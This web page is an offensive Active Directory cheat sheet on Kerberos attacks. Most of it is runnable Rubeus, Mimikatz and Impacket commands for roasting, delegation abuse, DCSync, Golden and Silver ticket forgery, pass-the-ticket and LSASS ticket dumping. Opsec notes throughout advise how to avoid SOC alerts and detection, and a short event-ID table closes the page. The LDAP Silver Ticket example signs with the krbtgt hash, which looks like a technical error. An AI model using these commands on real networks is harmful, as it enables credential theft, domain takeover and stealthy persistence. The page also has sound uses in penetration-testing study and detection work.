ᛉ Yggdrasil

Active Directory

Kerberos Attacks

15 Sep 2026 · 3,988 words · 18 min

Contents

Legend: [ANY] = Any domain user | [DA] = Domain Admin required | [LOCAL-ADMIN] = Local admin on target | [WIN] = Windows tool | [LIN] = Linux/Impacket tool


1. Kerberos — How it Works

What it means: Kerberos is the default authentication protocol in Active Directory.It uses tickets instead of passwords. Understanding the ticket flow is essential to understandingevery attack in this document.

Client                KDC (DC)                 Service
  |                      |                        |
  |--- AS-REQ ---------->|                        |
  |   (Pre-auth: enc timestamp)                   |
  |                      |                        |
  |<-- AS-REP -----------|                        |
  |   (TGT issued)                                |
  |                      |                        |
  |--- TGS-REQ --------->|                        |
  |   (TGT + SPN)                                 |
  |                      |                        |
  |<-- TGS-REP ----------|                        |
  |   (Service Ticket)                            |
  |                      |                        |
  |--- AP-REQ ----------------------------------> |
  |   (Service Ticket)                            |
  |                      |                        |
  |<-- AP-REP ----------------------------------> |
  |   (Access Granted)                            |
Ticket Encrypted With Used For
TGT (Ticket Granting Ticket) krbtgt hash Requesting service tickets from KDC
TGS / Service Ticket Target service account hash Authenticating to a specific service

Golden Ticket = Forged TGT (needs krbtgt hash) Silver Ticket = Forged TGS (needs service account hash)


2. Roasting Attacks

2.1 AS-REPRoasting — Windows

What it means: Normally, Kerberos requires users to prove their identity (pre-authentication) before the KDC hands out a TGT. If an account has "Do not require Kerberos preauthentication" enabled, anyone can ask the DC for that user's AS-REP — which contains data encrypted with the user's password hash. You can crack it offline.

Requires: Domain user account (for enumeration). No creds needed to request AS-REP if the target has no pre-auth.


Find Vulnerable Accounts

# PowerView — find users with UF_DONT_REQUIRE_PREAUTH flag
Get-DomainUser -PreauthNotRequired | Select SamAccountName, UserAccountControl

# AD Module
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
  Select SamAccountName, DoesNotRequirePreAuth

# With BloodHound — query: "Find AS-REP Roastable Users"

Request AS-REP Hash

# Rubeus — single user
Rubeus.exe asreproast /user:<TargetUser> /format:hashcat /outfile:asrep.hash

# Rubeus — all vulnerable users in domain
Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash /nowrap

# Rubeus — with credential (if you need to enumerate first)
Rubeus.exe asreproast /creduser:lab.local\attacker /credpassword:Pass123! \
  /format:hashcat /outfile:asrep.hash

Crack the Hash

# Hashcat — AS-REP hash mode
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

# With rules
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# John
john --wordlist=/usr/share/wordlists/rockyou.txt asrep.hash

2.2 AS-REPRoasting — Linux

# Impacket GetNPUsers — no credentials (unauthenticated if you have a userlist)
GetNPUsers.py lab.local/ -usersfile users.txt -no-pass -format hashcat \
  -outputfile asrep.hash -dc-ip <DC_IP>

# Authenticated — enumerate AND request all vulnerable users
GetNPUsers.py lab.local/attacker:Pass123! -request -format hashcat \
  -outputfile asrep.hash -dc-ip <DC_IP>

# NetExec (CrackMapExec successor)
nxc ldap <DC_IP> -u attacker -p 'Pass123!' --asreproast asrep.hash

# With just a username list (no password)
nxc ldap <DC_IP> -u users.txt -p '' --asreproast asrep.hash

# Crack
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

⚠️ Opsec Note: AS-REP requests generate Event ID 4768 on the DC. Multiple 4768 events without prior 4771 (pre-auth failure) for the same user is a red flag.


2.3 Kerberoasting — Windows

What it means: Any authenticated domain user can request a TGS (service ticket) for any account that has a Service Principal Name (SPN). The TGS is encrypted with the service account's password hash. You export that ticket and crack it offline to recover the plaintext password. High-privilege service accounts (SQL, IIS, backup agents) are the prime targets.

Requires: [ANY] — just a valid domain user account.


Enumerate SPN Accounts

# PowerView
Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName, MemberOf

# AD Module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} \
  -Properties ServicePrincipalName, MemberOf |
  Select SamAccountName, ServicePrincipalName

# Built-in setspn
setspn -Q */* | Select-String "CN="

Request and Export Hashes

# Rubeus — all SPNs, output to file
Rubeus.exe kerberoast /outfile:kerb.hash /nowrap

# Rubeus — target specific user
Rubeus.exe kerberoast /user:<svc_account> /outfile:kerb.hash /nowrap

# Rubeus — request RC4 (weaker, easier to crack) even if AES is supported
Rubeus.exe kerberoast /outfile:kerb.hash /tgtdeleg /nowrap

# Rubeus — stealth: only roast accounts with weak encryption
Rubeus.exe kerberoast /outfile:kerb.hash /rc4opsec /nowrap

# PowerView
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash |
  Out-File kerb.hash -Encoding ASCII

Crack the Hash

# Hashcat — TGS-REP (Kerberoast) hash mode
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt

# With rules
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule --force

2.4 Kerberoasting — Linux

# Impacket GetUserSPNs
GetUserSPNs.py lab.local/attacker:Pass123! -dc-ip <DC_IP> \
  -request -outputfile kerb.hash

# Target a specific account
GetUserSPNs.py lab.local/attacker:Pass123! -dc-ip <DC_IP> \
  -request-user <svc_account> -outputfile kerb.hash

# NetExec
nxc ldap <DC_IP> -u attacker -p 'Pass123!' --kerberoasting kerb.hash

# Targeted Kerberoasting (write SPN → roast → remove SPN automatically)
targetedKerberoast.py -v -d lab.local -u attacker -p 'Pass123!' \
  --dc-ip <DC_IP> -o targeted.hash

# Crack
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt

⚠️ Opsec Note: Kerberoasting generates Event ID 4769 (TGS Request) with encryption type 0x17 (RC4). Requesting all SPNs at once is noisy. Use /rc4opsec in Rubeus or request one-at-a-time to reduce noise.


3. Delegation — Theory

What it means: Kerberos delegation allows a service to authenticate to another service on behalf of a user. This is used for "double-hop" scenarios (e.g., a web app that needs to query a database as the user). There are three types:

Type How it works Risk
Unconstrained Service receives user's TGT and can impersonate them to ANY service ⚠️ Critical — full TGT in memory
Constrained (KCD) Service can impersonate user to a specific set of SPNs Medium
RBCD The target resource decides who can delegate to it (not the source) Medium

Unconstrained: User → ServiceA → ANY service (ServiceA holds full TGT)
Constrained: User → ServiceA → [SQL, CIFS only] (KDC enforces the list)
RBCD: Target computer decides: "ServiceA is allowed to act on my behalf"

Protocol Transition (T2A4D)

When a service account has TrustedToAuthForDelegation flag (also called T2A4D or "Protocol Transition"), it can forge a ticket for ANY user to itself via S4U2Self without that user ever authenticating — and then forward it via S4U2Proxy. This is the key flag that makes constrained delegation fully exploitable even without a user's TGT.


4. Unconstrained Delegation

4.1 Unconstrained Delegation — Computers

What it means: If a computer has the "Trust this computer for delegation to any service" flag, every time a user authenticates to any service on that machine, a full copy of their TGT is stored in LSASS memory. If you have local admin on that machine, you can extract those TGTs and impersonate the victims — even Domain Admins if they connect.

Requires: [LOCAL-ADMIN] on the unconstrained machine.


Enumerate Unconstrained Computers

# PowerView
Get-DomainComputer -Unconstrained | Select name, dnshostname
# Note: DCs always appear — skip them unless cross-domain attack

# AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $true} |
  Select Name, DNSHostName

# LDAP filter
Get-DomainComputer -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' |
  Select name

Wait for Victim or Coerce Authentication

# Monitor for new TGTs arriving (real-time)
Rubeus.exe monitor /interval:5 /nowrap

# Filter for a specific user
Rubeus.exe monitor /interval:5 /filteruser:Administrator /nowrap

# Actively coerce a DC to authenticate (PrinterBug / SpoolSample)
# Run from the unconstrained machine
SpoolSample.exe <TARGET_DC_IP> <UNCONSTRAINED_MACHINE_IP>

# Or PetitPotam
python3 PetitPotam.py <UNCONSTRAINED_MACHINE_IP> <TARGET_DC_IP>

Extract Tickets from Memory

:: Mimikatz — export all Kerberos tickets from LSASS
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
:: Saved as .kirbi files in current directory

:: Mimikatz — list only
mimikatz.exe "kerberos::list" exit

:: Rubeus — dump all tickets
Rubeus.exe dump /nowrap

:: Rubeus — dump specific user
Rubeus.exe dump /user:Administrator /nowrap

Pass the Ticket (Use the TGT)

:: Rubeus — inject captured TGT into current session
Rubeus.exe ptt /ticket:<base64_ticket>

:: Mimikatz — inject .kirbi file
mimikatz.exe "kerberos::ptt administrator@krbtgt-LAB.LOCAL.kirbi" exit

:: Verify ticket is loaded
Rubeus.exe klist
klist

Access Target Resources

:: After injecting the DA's TGT:
dir \\DC01.lab.local\C$
psexec \\DC01.lab.local cmd
# Linux — convert .kirbi to .ccache and use
ticketConverter.py administrator.kirbi administrator.ccache
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass lab.local/Administrator@dc01.lab.local

4.2 Unconstrained Delegation — Users

What it means: User accounts (not just computers) can also have unconstrained delegation set. This is rare but dangerous — typically on old service accounts. If you compromise such a user account, any user who authenticates to their services has their TGT stored and extractable.

Enumerate Unconstrained Users

# PowerView
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' |
  Select SamAccountName, UserAccountControl

# AD Module
Get-ADUser -Filter {TrustedForDelegation -eq $true} |
  Select SamAccountName, UserPrincipalName

Exploit (Same as Computers)

# If you control the user account and their session is running a service:
# 1. Extract TGTs from the service process memory with Rubeus/Mimikatz
# 2. Inject and impersonate

# Check if user account is running a service with SPNs
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' |
  Select SamAccountName, ServicePrincipalName

⚠️ Detection: Event ID 4624 (Logon Type 3) combined with tickets cached beyond normal lifetime. TGTs in LSASS for machine accounts are normal only on DCs.


5. Constrained Delegation (KCD)

What it means: A service account with Constrained Delegation can impersonate any user to a specific set of SPNs (defined in msDS-AllowedToDelegateTo). If the account also has the TrustedToAuthForDelegation flag (Protocol Transition), it doesn't even need the user to have authenticated first — it can forge a service ticket for any user via S4U2Self then proxy it via S4U2Proxy. This is the most commonly abused delegation type in CTFs.

Requires: Credentials (password or hash) of the service account with constrained delegation.


5.1 Constrained Delegation — Windows

Enumerate Constrained Delegation Accounts

# PowerView — users with constrained delegation
Get-DomainUser -TrustedToAuth | Select SamAccountName, msds-allowedtodelegateto

# PowerView — computers with constrained delegation
Get-DomainComputer -TrustedToAuth | Select Name, msds-allowedtodelegateto

# AD Module — users
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} \
  -Properties msDS-AllowedToDelegateTo |
  Select SamAccountName, msDS-AllowedToDelegateTo

# AD Module — computers
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} \
  -Properties msDS-AllowedToDelegateTo |
  Select Name, msDS-AllowedToDelegateTo

Exploit with Rubeus (S4U2Self + S4U2Proxy)

:: Case 1: You have the password of the delegating account
Rubeus.exe s4u /user:<svc_account> /password:SvcPass123! ^
  /impersonateuser:Administrator ^
  /msdsspn:"cifs/<target_server>.lab.local" ^
  /domain:lab.local /ptt

:: Case 2: You have the NTLM hash
Rubeus.exe s4u /user:<svc_account> /rc4:<NTLM_HASH> ^
  /impersonateuser:Administrator ^
  /msdsspn:"cifs/<target_server>.lab.local" ^
  /domain:lab.local /ptt

:: Case 3: Alternate service substitution
:: If delegation is for HTTP but you want CIFS (same host, different service)
Rubeus.exe s4u /user:<svc_account> /rc4:<NTLM_HASH> ^
  /impersonateuser:Administrator ^
  /msdsspn:"http/<target_server>.lab.local" ^
  /altservice:cifs ^
  /domain:lab.local /ptt

:: Verify and use
klist
dir \\<target_server>.lab.local\C$

Access After Delegation

:: After /ptt, ticket is already in session
dir \\<target_server>.lab.local\C$
psexec \\<target_server>.lab.local cmd

:: Or use winrs
winrs -r:<target_server>.lab.local cmd

5.2 Constrained Delegation — Linux

# Step 1: Enumerate with findDelegation
findDelegation.py lab.local/attacker:Pass123! -dc-ip <DC_IP>
# Look for: [CONSTRAINED] and [PROTOCOL TRANSITION] tags

# Step 2: getST — full S4U2 attack
getST.py -spn 'cifs/<target_server>.lab.local' \
  -impersonate Administrator \
  -dc-ip <DC_IP> \
  'lab.local/<svc_account>:SvcPass123!'

# With NTLM hash
getST.py -spn 'cifs/<target_server>.lab.local' \
  -impersonate Administrator \
  -dc-ip <DC_IP> \
  -hashes :<NTLM_HASH> \
  'lab.local/<svc_account>'

# Alternate service (substitute service in SPN)
getST.py -spn 'http/<target_server>.lab.local' \
  -impersonate Administrator \
  -altservice cifs \
  -dc-ip <DC_IP> \
  'lab.local/<svc_account>:SvcPass123!'

# Step 3: Use the ticket
export KRB5CCNAME=Administrator@cifs_<target_server>.ccache

# Dump hashes
secretsdump.py -k -no-pass <target_server>.lab.local

# Shell
psexec.py -k -no-pass <target_server>.lab.local
wmiexec.py -k -no-pass <target_server>.lab.local
smbclient.py -k -no-pass //<target_server>.lab.local/C$

⚠️ Opsec Note: S4U2Self without a real user TGT (Protocol Transition) generates Event ID 4769 with no prior 4768, which may alert SOC. Always check if you can use an existing TGT from a captured session instead.


6. Resource-Based Constrained Delegation (RBCD)

What it means: Unlike KCD where an admin configures delegation ON the source service, RBCD is configured ON the target resource — it says "I trust this account to impersonate users to me." The key attribute is msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer. If you have write access to this attribute (via GenericWrite, GenericAll, etc.), you can configure any controlled account as a delegation source, then impersonate any user.

Requires: WriteProperty / GenericWrite / GenericAll on target computer + a controlled account with SPN (or create one via MachineAccountQuota).


6.1 RBCD — Windows

Pre-checks

# Check MachineAccountQuota (default = 10; any user can create machine accounts)
Get-DomainObject -Identity "DC=lab,DC=local" -Properties ms-ds-machineaccountquota

# Find who has write rights on a computer
Get-DomainObjectAcl -Identity <TargetComputer> -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericWrite|GenericAll|WriteProperty' }

Step 1 — Create a Fake Machine Account

# PowerMad — create controlled machine account
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount EVIL -Password $(ConvertTo-SecureString 'Evil123!' -AsPlainText -Force)

# Verify
Get-DomainComputer EVIL | Select SamAccountName, SID

Step 2 — Set RBCD Attribute on Target

# Get SID of our fake machine
$EVILS = (Get-DomainComputer EVIL).objectsid

# Build the security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor \
  -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($EVILS))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# Write to target
Get-DomainComputer <TargetComputer> |
  Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Verify
Get-DomainComputer <TargetComputer> -Properties msds-allowedtoactonbehalfofotheridentity

Step 3 — Get Impersonation Ticket and Use It

:: Rubeus — full S4U attack from EVIL$ to impersonate Administrator on Target
Rubeus.exe s4u /user:EVIL$ /password:Evil123! ^
  /impersonateuser:Administrator ^
  /msdsspn:"cifs/<TargetComputer>.lab.local" ^
  /domain:lab.local /ptt

:: Verify and access
klist
dir \\<TargetComputer>.lab.local\C$

Cleanup

# Remove RBCD attribute after use
Set-DomainObject -Identity <TargetComputer> \
  -Clear 'msds-allowedtoactonbehalfofotheridentity'

6.2 RBCD — Linux

# Step 1: Create fake machine account
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Evil123!' \
  -dc-ip <DC_IP> 'lab.local/attacker:Pass123!'

# Step 2: Write RBCD attribute on target computer
rbcd.py -delegate-to '<TargetComputer>$' \
  -delegate-from 'EVIL$' \
  -action write \
  -dc-ip <DC_IP> \
  'lab.local/attacker:Pass123!'

# Verify it was written
rbcd.py -delegate-to '<TargetComputer>$' \
  -action read \
  -dc-ip <DC_IP> \
  'lab.local/attacker:Pass123!'

# Step 3: Get S4U2Proxy ticket — impersonate Administrator
getST.py -spn 'cifs/<TargetComputer>.lab.local' \
  -impersonate Administrator \
  -dc-ip <DC_IP> \
  'lab.local/EVIL$:Evil123!'

# Step 4: Use the ticket
export KRB5CCNAME=Administrator@cifs_<TargetComputer>.ccache
secretsdump.py -k -no-pass <TargetComputer>.lab.local
psexec.py -k -no-pass <TargetComputer>.lab.local

# Cleanup — remove RBCD attribute
rbcd.py -delegate-to '<TargetComputer>$' \
  -delegate-from 'EVIL$' \
  -action remove \
  -dc-ip <DC_IP> \
  'lab.local/attacker:Pass123!'

⚠️ Alternative: If you already have a service account with an SPN instead of creating a machine account, skip Step 1 and use that account directly in getST.


7. Ticket Abuse

7.1 Golden Ticket — Windows

What it means: A Golden Ticket is a forged TGT signed with the krbtgt account's hash. Since all domain controllers trust tickets signed by krbtgt, a Golden Ticket gives you permanent access to any resource in the domain — forever (until krbtgt password is changed twice). Even fake usernames work. This is the ultimate persistence mechanism.

Requires: krbtgt NTLM hash + Domain SID. Both obtained via DCSync.


Step 1 — Get krbtgt Hash and Domain SID

:: DCSync — requires DA or DCSync rights
mimikatz.exe "lsadump::dcsync /domain:lab.local /user:krbtgt" exit
:: Note the Hash NTLM value

:: Get Domain SID
mimikatz.exe "lsadump::lsa /patch" exit
:: Or in PowerShell:
(Get-ADDomain).DomainSID.Value
# Linux — DCSync via secretsdump
secretsdump.py lab.local/da_user:Pass123!@<DC_IP> -just-dc-user krbtgt
# Note: krbtgt NTLM hash and domain SID in output

Step 2 — Forge Golden Ticket

:: Mimikatz — forge and inject into current session
mimikatz.exe "kerberos::golden ^
  /user:FakeAdmin ^
  /domain:lab.local ^
  /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX ^
  /krbtgt:<KRBTGT_NTLM_HASH> ^
  /id:500 ^
  /groups:512,513,518,519,520 ^
  /ptt" exit

:: Or save to file for later use
mimikatz.exe "kerberos::golden ^
  /user:FakeAdmin ^
  /domain:lab.local ^
  /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX ^
  /krbtgt:<KRBTGT_NTLM_HASH> ^
  /ticket:golden.kirbi" exit

:: Load .kirbi later
mimikatz.exe "kerberos::ptt golden.kirbi" exit
# Rubeus — forge Golden Ticket
Rubeus.exe golden /rc4:<KRBTGT_NTLM_HASH> ^
  /domain:lab.local ^
  /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX ^
  /user:FakeAdmin /id:500 /ptt

Step 3 — Use the Golden Ticket

dir \\dc01.lab.local\C$
psexec \\dc01.lab.local cmd

7.2 Golden Ticket — Linux

# Step 1: DCSync to get krbtgt
secretsdump.py lab.local/da_user:Pass123!@<DC_IP> \
  -just-dc-user krbtgt -just-dc-ntlm
# Save: krbtgt NTLM hash + domain SID

# Step 2: Forge Golden Ticket
ticketer.py \
  -nthash <KRBTGT_NTLM_HASH> \
  -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
  -domain lab.local \
  FakeAdmin
# Output: FakeAdmin.ccache

# Step 3: Use it
export KRB5CCNAME=FakeAdmin.ccache
psexec.py -k -no-pass lab.local/FakeAdmin@dc01.lab.local
wmiexec.py -k -no-pass lab.local/FakeAdmin@dc01.lab.local
secretsdump.py -k -no-pass lab.local/FakeAdmin@dc01.lab.local

⚠️ Golden Ticket Lifetime: Default forged lifetime is 10 years. Use -duration 7 in ticketer.py for more realistic tickets. Rotate only if you need to evade ticket-age anomaly detection.


7.3 Silver Ticket — Windows

What it means: A Silver Ticket is a forged TGS (service ticket) signed with the service account's hash. Unlike a Golden Ticket, it is created locally — it never touches the KDC, making it harder to detect. The downside: it only grants access to a specific service on a specific machine. Perfect for targeted persistence on a single host.

Requires: Service account's NTLM hash + Domain SID + SPN of the target service.

Service SPN Value Access Granted
File share cifs/server.lab.local SMB access, file read/write
WMI / Remote exec host/server.lab.local WMI, PowerShell remoting
MSSQL MSSQLSvc/server.lab.local SQL access
LDAP (DCSync) ldap/dc01.lab.local DCSync on DC
HTTP http/server.lab.local Web app access

Step 1 — Get Service Account Hash

:: From DC or compromised machine — DCSync specific account
mimikatz.exe "lsadump::dcsync /domain:lab.local /user:<svc_account>" exit

:: Or from local LSASS if you have local admin
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

Step 2 — Get Machine SID

# Domain SID from which machine SID is derived
(Get-ADDomain).DomainSID.Value
# Machine SID = Domain SID + Machine RID

Step 3 — Forge Silver Ticket

:: Mimikatz — forge CIFS (file share) Silver Ticket
mimikatz.exe "kerberos::golden ^
  /user:FakeAdmin ^
  /domain:lab.local ^
  /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX ^
  /target:<target_server>.lab.local ^
  /service:cifs ^
  /rc4:<SERVICE_ACCOUNT_NTLM_HASH> ^
  /id:500 /ptt" exit

:: For WMI / remote exec
mimikatz.exe "kerberos::golden ^
  /user:FakeAdmin /domain:lab.local ^
  /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX ^
  /target:<target_server>.lab.local ^
  /service:host ^
  /rc4:<MACHINE_ACCOUNT_NTLM_HASH> ^
  /id:500 /ptt" exit

:: For DCSync via LDAP Silver Ticket (no network detection)
mimikatz.exe "kerberos::golden ^
  /user:FakeAdmin /domain:lab.local ^
  /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX ^
  /target:dc01.lab.local ^
  /service:ldap ^
  /rc4:<KRBTGT_NTLM_HASH> ^
  /id:500 /ptt" exit

Step 4 — Use the Silver Ticket

:: After /ptt, ticket is in memory
dir \\<target_server>.lab.local\C$        # CIFS
wmic /node:<target_server>.lab.local ...  # HOST
sqlcmd -S <target_server>.lab.local       # MSSQLSvc

7.4 Silver Ticket — Linux

# Forge Silver Ticket (CIFS)
ticketer.py \
  -nthash <SERVICE_ACCOUNT_NTLM_HASH> \
  -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
  -domain lab.local \
  -spn cifs/<target_server>.lab.local \
  FakeAdmin
# Output: FakeAdmin.ccache

# Forge Silver Ticket (HOST — for WMI/exec)
ticketer.py \
  -nthash <MACHINE_ACCOUNT_NTLM_HASH> \
  -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
  -domain lab.local \
  -spn host/<target_server>.lab.local \
  FakeAdmin

# Use CIFS ticket
export KRB5CCNAME=FakeAdmin.ccache
smbclient.py -k -no-pass //<target_server>.lab.local/C$
secretsdump.py -k -no-pass <target_server>.lab.local

# Use LDAP ticket for DCSync
export KRB5CCNAME=FakeAdmin.ccache
secretsdump.py -k -no-pass lab.local/FakeAdmin@dc01.lab.local

⚠️ Golden vs Silver: Golden Ticket = talks to KDC = logged Event 4768/4769. Silver Ticket = never talks to KDC = no Event ID on DC — stealthier for targeted access.


7.5 Pass-the-Ticket

What it means: You take an existing Kerberos ticket (TGT or TGS) — either stolen from memory or exported from another session — and inject it into your current session to authenticate as that user. No password needed. Unlike Pass-the-Hash (which uses NTLM), Pass-the-Ticket is pure Kerberos.


Export Tickets from Memory

:: Mimikatz — export all tickets to .kirbi files
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
:: Creates .kirbi files in current directory

:: Rubeus — dump all tickets (base64)
Rubeus.exe dump /nowrap

:: Rubeus — dump specific user
Rubeus.exe dump /user:Administrator /service:krbtgt /nowrap

Convert Ticket Formats

# .kirbi (Windows) ↔ .ccache (Linux)
ticketConverter.py ticket.kirbi ticket.ccache
ticketConverter.py ticket.ccache ticket.kirbi

Inject / Pass the Ticket

:: Mimikatz — inject .kirbi into current session
mimikatz.exe "kerberos::ptt ticket.kirbi" exit

:: Rubeus — inject base64 ticket
Rubeus.exe ptt /ticket:<base64_ticket>

:: Rubeus — inject from .kirbi file
Rubeus.exe ptt /ticket:ticket.kirbi

:: Verify
klist
Rubeus.exe klist
# Linux — set environment variable to .ccache file
export KRB5CCNAME=/path/to/ticket.ccache

# Use it
psexec.py -k -no-pass lab.local/Administrator@dc01.lab.local
wmiexec.py -k -no-pass lab.local/Administrator@target.lab.local
smbclient.py -k -no-pass //dc01.lab.local/C$
secretsdump.py -k -no-pass lab.local/Administrator@dc01.lab.local

Purge Tickets (Cleanup)

:: Purge injected tickets from current session
Rubeus.exe purge
mimikatz.exe "kerberos::purge" exit
klist purge

8. Scenario Matrix

Attack Requirement Hash Needed Key Tool
AS-REPRoasting DoNotReqPreAuth flag on user None Rubeus, GetNPUsers
Kerberoasting Any domain user None Rubeus, GetUserSPNs
Unconstrained Delegation Local admin on uncon. machine None (steal from memory) Rubeus, Mimikatz
Constrained Delegation Creds of KCD service account Service account NTLM/pass Rubeus, getST
RBCD WriteProperty on target computer None (create machine acct) rbcd.py, Rubeus, getST
Golden Ticket DCSync rights krbtgt NTLM Mimikatz, ticketer.py
Silver Ticket Service account hash Service account NTLM Mimikatz, ticketer.py
Pass-the-Ticket Access to LSASS or ticket file None (use ticket as-is) Rubeus, Mimikatz

9. Tool Cheat Sheet

Tool Install Use
Rubeus.exe GitHub/GhostPack Kerberoast, AS-REP, S4U, ticket dump/inject, Golden/Silver
Mimikatz.exe GitHub Ticket export/inject, Golden/Silver, DCSync, sekurlsa
getST.py Impacket S4U2Self + S4U2Proxy (KCD / RBCD)
GetUserSPNs.py Impacket Kerberoasting (Linux)
GetNPUsers.py Impacket AS-REPRoasting (Linux)
ticketer.py Impacket Forge Golden/Silver tickets (Linux)
ticketConverter.py Impacket Convert .kirbi ↔ .ccache
findDelegation.py Impacket Enumerate all delegation types
rbcd.py Impacket Read/write RBCD attribute
addcomputer.py Impacket Create machine accounts for RBCD
secretsdump.py Impacket DCSync — get krbtgt / service hashes
PowerView.ps1 PowerSploit Enumerate SPNs, delegation, ACLs
Powermad.ps1 GitHub Create machine accounts (Windows)
nxc / crackmapexec pip Kerberoast, AS-REP, SMB signing check
hashcat apt Crack TGS (13100), AS-REP (18200), NT (1000)
targetedKerberoast.py GitHub Auto SPN add → roast → clean
BloodHound GitHub Visual path for all delegation/ticket attacks

🔵 Detection — Event ID Reference

Attack Event ID Where
AS-REPRoasting 4768 — no pre-auth flag DC
Kerberoasting 4769 — RC4 encryption type (0x17) DC
Unconstrained TGT extraction 4624 (unusual machine logon) Victim server
Pass-the-Ticket (injection) 4768/4769 anomalous source DC
S4U2Self (protocol transition) 4769 — no prior 4768 DC
Golden Ticket use 4769 — ticket with no 4768 source DC
Silver Ticket use No DC event (never touches KDC) Target host only
DCSync (krbtgt retrieval) 4662 — DS-Replication rights used DC
RBCD attribute write 5136 — msDS-AllowedToActOnBehalf DC

← Active Directory top ↑